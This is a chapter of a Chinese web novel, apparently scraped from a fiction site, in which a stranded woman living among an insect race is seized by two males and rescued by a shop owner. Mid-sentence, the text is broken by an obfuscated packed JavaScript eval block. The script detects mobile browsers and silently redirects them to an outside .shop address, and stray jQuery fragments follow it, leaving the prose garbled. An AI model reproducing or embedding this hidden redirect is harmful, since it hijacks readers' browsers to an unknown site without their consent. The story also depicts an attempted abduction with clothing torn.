文趣网 > 都市小说 > 污染物小虫母 > 3. 遭遇危险
    第七区的野外生存环境十分恶劣,方圆百里内,都见不到一株绿色的植物,没有植被覆盖的裸露地表,导致这里的昼夜温差极大。

    来自旷野的寒风穿透混乱堆叠的垃圾堆,冷意几乎能突破皮肤,刺进骨子里。

    这些天的早上,季霜白都是被冻得四肢僵硬,大脑宕机的麻木状态,需要活动好久才能慢慢感受到自己的体温。

    生怕自己哪天夜里不知不觉被直接冻死,再加上有了白天去那家机械店的经历后,季霜白决定给自己挪个窝。

    她搬到了那家机械店附近的一栋建筑废墟里。

    据她这几天的观察,虫族有着极强的领地意识,如非必要,他们绝不会轻易踏足另一个雄虫的领地。

    在这秩序混乱的第七区,越强大的雄虫,占有的领地范围就越大。

    其它地方还能看见有不少雄虫勾肩搭背,三两成群地活动,而到了机械店这一块区域,除了来交易购物的客人,就几乎没什么雄虫敢来往。

    或许是季霜白说自己是蝶族雄虫的那个小谎,又或许是店主人已经识破了她的雌性身份。

    他对她的态度非常友善。

    这也是季霜白犹豫很久,最终选择偷偷依附他的势力,在机械店附近藏匿的原因。

    她找到一个足够避风的小角落,搬来一些纸箱铁皮,伪造成一个不太起眼的小垃圾堆,而后自己从特意留出来的小洞口钻了进去。

    解下身上厚重的破布和毛毯,将破布叠成一个小枕头,毛毯一半垫在身下,一半盖在身上,季霜白把自己裹成了一个深褐色的虫茧。

    浑身紧绷的肌肉慢慢放松,她舒服地喟叹了一声。

    这上过班当过牛马的人心理素质就是不一样啊,这么恶劣奇差的环境,她竟然也逐渐能适应了。

    身上臭臭的粘液垃圾已经快要风干,薄薄一层贴在她的身上,仿佛已经完美与她共生。

    而她的鼻子在这几天接连的恶臭摧残下,也开始习惯了这股味道的存在。

    很好!

    现在机械义肢也到手了,刺鼻的恶臭也能忍了,等明天她再努力搜集一些食物,就可以准备着手逃离第七区,向着人类社会迈进第一步了!

    怀揣着天真又美好的伟大梦想,季霜白闭上眼睛,逐渐进入了梦乡。

    她睡得并不算沉,身处异世界,她脑海深处有一根潜意识的弦还在紧绷着,但凡周围有个简单响动,她都会瞬间惊醒。

    饶是她已经如此谨慎,她还是把虫族想得太简单了。

    漆黑的夜色中,两个高大的成熟男性形态的雄虫,悄无声息出现在了这个小垃圾堆附近。

    他们居高临下,两双直勾勾的眼眸在黑夜中发着光,紧紧盯着脚下这个堪称过家家似的可笑的巢穴伪装。

    正是季霜白曾经偷听时遇到的,差点将她抓住的那两只雄虫!

    随着时间的推移,季霜白身上遮掩气息的恶臭逐渐挥发消散,而她本人并没有意识到,她的气味就快要掩盖不住。

    能够完美维持人形的虫族等级至少也是中等,不论五感和实力,比起那些庞大丑陋看似可怕的低级虫族都高出不知道多少。

    季霜白以为当时他们嫌弃自己身上的恶臭没有再追她,就是已经放过她,不会再在意她了。

    可她不知道,自己其实从未逃离开这两个雄虫的视线。

    她一直在被跟踪!

    两个雄虫彼此对视一眼,上扬的嘴角逐渐裂开到非人的程度。

    他们用低沉不易被察觉的虫语交谈着,语气中的嬉笑兴奋难以掩饰。

    “竟然真的是雌性!咱们走大运了!”

    “可怜的小雌性,终于放弃郊外那个污染严重的垃圾场了。”

    另一个担忧说:“但她往自己身上抹了那么多污染物,会不会……已经感染了?”

    “笨蛋!这可是珍贵的雌性!难道被污染你就不想要她了?那一会可别跟我抢……”

    “我没说不要!”

    雄虫急切道,无法做出太大细微表情的僵硬脸庞上,浮现出几抹红晕,“我已经能闻到她的气味了……好香,好甜。”

    “如果、如果她愿意跟我们走,我愿意把我所有的积蓄都送给她!”

    他的同伴嫌弃地撞开他,“珍贵的雌性怎么会看得上我们这种罪虫?不过现在,她也根本没得选了。”

    “别啰嗦了,直接把她带回我们的巢穴,要是被其他雄虫发现就麻烦了。”

    说着,雄虫蹲下身去,他看了看那个小小的洞口,忽然笑了下,将手伸了进去。

    在脚踝被冰凉的大手抓住的一瞬间,季霜白蓦地睁开了眼睛。

    曾在脑海中排练过无数次的危险预警,让她根本不必等脑子清醒,便迅速从枕头下摸出一把被打磨锋利的尖刺,而后弹坐起来,狠狠扎向脚边那只手掌!

    滋啦——

    不是血肉被刺穿的噗呲声响,更像是尖锐的金属相互摩擦迸发的刺耳剐蹭。

    另一只雄虫随后掀翻了她的小窝,纸屑铁皮哐啷倒了一地。

    微弱的月光透了进来。

    季霜白看见了那两双在黑暗中发光的野兽似的眼眸,以及自己的尖刺刺中的,那一层覆盖在皮肤上的坚硬虫甲。

    那个抓住了季霜白脚腕的雄虫,将季霜白瞬间惨白的颤抖面容纳入了眼底。

    他几乎有些怜爱了。

    他咧开嘴角,叹息说:“这样的小玩具刀,可突破不了虫族坚不可摧的外壳哦。”

    “小可怜,跟我回巢穴吧,我会给你足够的食物和庇佑,让你再也不用提心吊胆,风餐露宿……”

    季霜白猛地剧烈挣扎起来。

    可脚上那只手就像是焊死在她身上的铁铐一般,怎么也甩不掉,她崩溃地抓起周围一切可用的东西砸向他。

    那雄虫不闪也不躲,仿佛她的这些攻击不过是在给她挠痒痒。

    他还有空捏了捏鼻子,略有些嫌弃说:“宝贝儿,你该洗澡了,以后不许再玩这种臭垃圾了,懂么?”

    “真臭,把身上的脏衣服脱掉吧。”

    “滚开!”

    季霜白无意间将枕头旁边,那个从机械店老板那得到的精致收纳箱砸了过去。

    雄虫抬手抓住了箱子,看了眼,一愣,竟叫季霜白挣脱了。

    季霜白抓住机会,立马连滚带爬地起身就拔腿狂奔。

    可没跑多远,她直挺挺地一头砸在了凭空出现在面前的一堵肉墙上。

    那只雄虫竟然还有同伴!

    季霜白捂着额头,踉跄着后退了两步,她看着眼前这个沉默木讷的两米多高的强壮巨人,面如死灰,心中弥漫起一片绝望的雾气。

    而此时,身后那只轻佻的雄虫,也不紧不慢地逼近,两个虫族一前一后,彻底将她包围住了。

    “这么有活力,看来是还没被污染。”身后那只笑着说。

    而面前这只,则结结巴巴地说:“别跑……我们、会好好,照顾你……”

    可他话音刚落,季霜白身上那件跟着她一起穿越过来的,又被垃圾粘液涂抹得乌漆嘛黑的白衬衣,就刺啦一声被扯烂了。

    “臭死了,我都跟你说了把衣服脱——”

    抱怨声戛然而止。

    季霜白紧紧抓着破碎的衣服,恼怒羞愤的情绪还没爆发

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789780|210344||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,就被这突如其来的异样给弄得一愣。

    四周安静了一瞬,只有在空旷破旧的楼道间穿梭的风沙声。

    紧接着,刚才那两只试图将她抓走的高大雄虫,不约而同地颤抖了一下,随后,身体同时嘭的一声重重倒地。

    季霜白茫然地看着脚边躺着的两个雄虫。

    或者说,两具尸体。

    熟悉的毛骨悚然的感觉,就像她刚穿越时撞见的异形虫族相互厮杀那样。

    不,这次更加恐怖。

    周围太安静了,静到一股寒气从脚底攀升,猛地窜上了她的脊背。

    地上属于那两具尸体的温热血液,慢慢堆集在季霜白的鞋底,她后知后觉,双腿猛地发抖,一连往后退,直到差一点摔倒在地上。

    一只温热的宽大手掌撑住了她单薄的背,顺着她摔倒的角度慢慢让她坐在了地上。

    季霜白的鼻尖颤了颤,闻到了一股冲破她周身的臭味扑面而来的温暖又清爽的气息,还带一点恬淡栀子花的香气。

    “抱歉,吓到了你吗?”

    她听见香气的主人这样问她,嗓音温温柔柔的,像丝绸似的柔顺月光,山涧静谧的林木,冲刷鹅卵石清澈透底的凉润溪水。

    有点耳熟,季霜白呆愣愣地仰头看去。

    就看见了机械店老板那张漂亮温和的英俊脸庞。

    他的皮肤很白,像羊脂玉一样,在朦胧的夜色中,优越英挺的五官也变得朦胧,有种遥不可及的梦一样的美感。

    没有等到季霜白的回答,他沉思片刻,忽然伸出手臂绕过季霜白的双膝,将她整个人打横抱了起来。

    他又问:“这里已经不安全了,带你回我的店里,好吗?”

    这一次他没有等季霜白的回答,而是直接抱着她离开了这个地方。

    街道上空荡又安静,四周都黑漆漆的,只有那家机械店还亮着明黄的灯,像在等候主人回家。

    扶闻守在店里。

    不久前他感知到了隔壁房间里的兄长突然离开,于是也从床上爬了起来。

    他坐在轮椅上,身上还穿着丝绸睡衣,像个漂亮的洋娃娃一样,正垂着长而浓密的眼睫,梳理着自己柔顺的长发。

    突然,他极其灵敏的嗅觉让他隔着老远就闻到了一股熟悉的臭味,整个人顿时又炸毛了。

    尤其在看见哥哥扶御抱着一个臭烘烘的小乞丐进店后。

    他气得肺都快要炸掉,操控轮椅惊恐地连忙躲避到最里面,才怒道:“你真的把他带回来了?!你疯了吗!呕——我要吐了,快把他丢出去啊啊啊!”

    扶闻用力捂住了口鼻,作势要吐。

    但扶御这次却没笑着哄他。

    而是微微蹙起了眉,训斥说:“扶闻,不可以对雌性这么没有礼貌。”

    扶闻愣了下,第一反应是不信,“怎么可能,哥你别逗我玩了,雌性怎么可能会出现在第七区!”

    “是不是我不吃饭所以你故意拿他来教训我?我投降,我投降行了吧!”

    “你快把他弄走,我真受不……”

    剩下的话没能说完。

    扶闻嫌弃的眼神,忽然对上了季霜白从他哥怀里抬起来,偷偷望向他的那双乌黑圆润的眼眸。

    那样漂亮的眼睛,那样无辜又单纯的清澈眼神,和他自诞生以来所见到过的任何一只雄虫都不同。

    ……雌性?

    怦怦。

    真的……是雌性吗?

    怦怦。

    这就是珍贵的雌性?这么小巧,这么可爱,这么……

    怦怦怦。

    扶闻突然捂住了心口,白皙俊俏的脸蛋,瞬间爆红。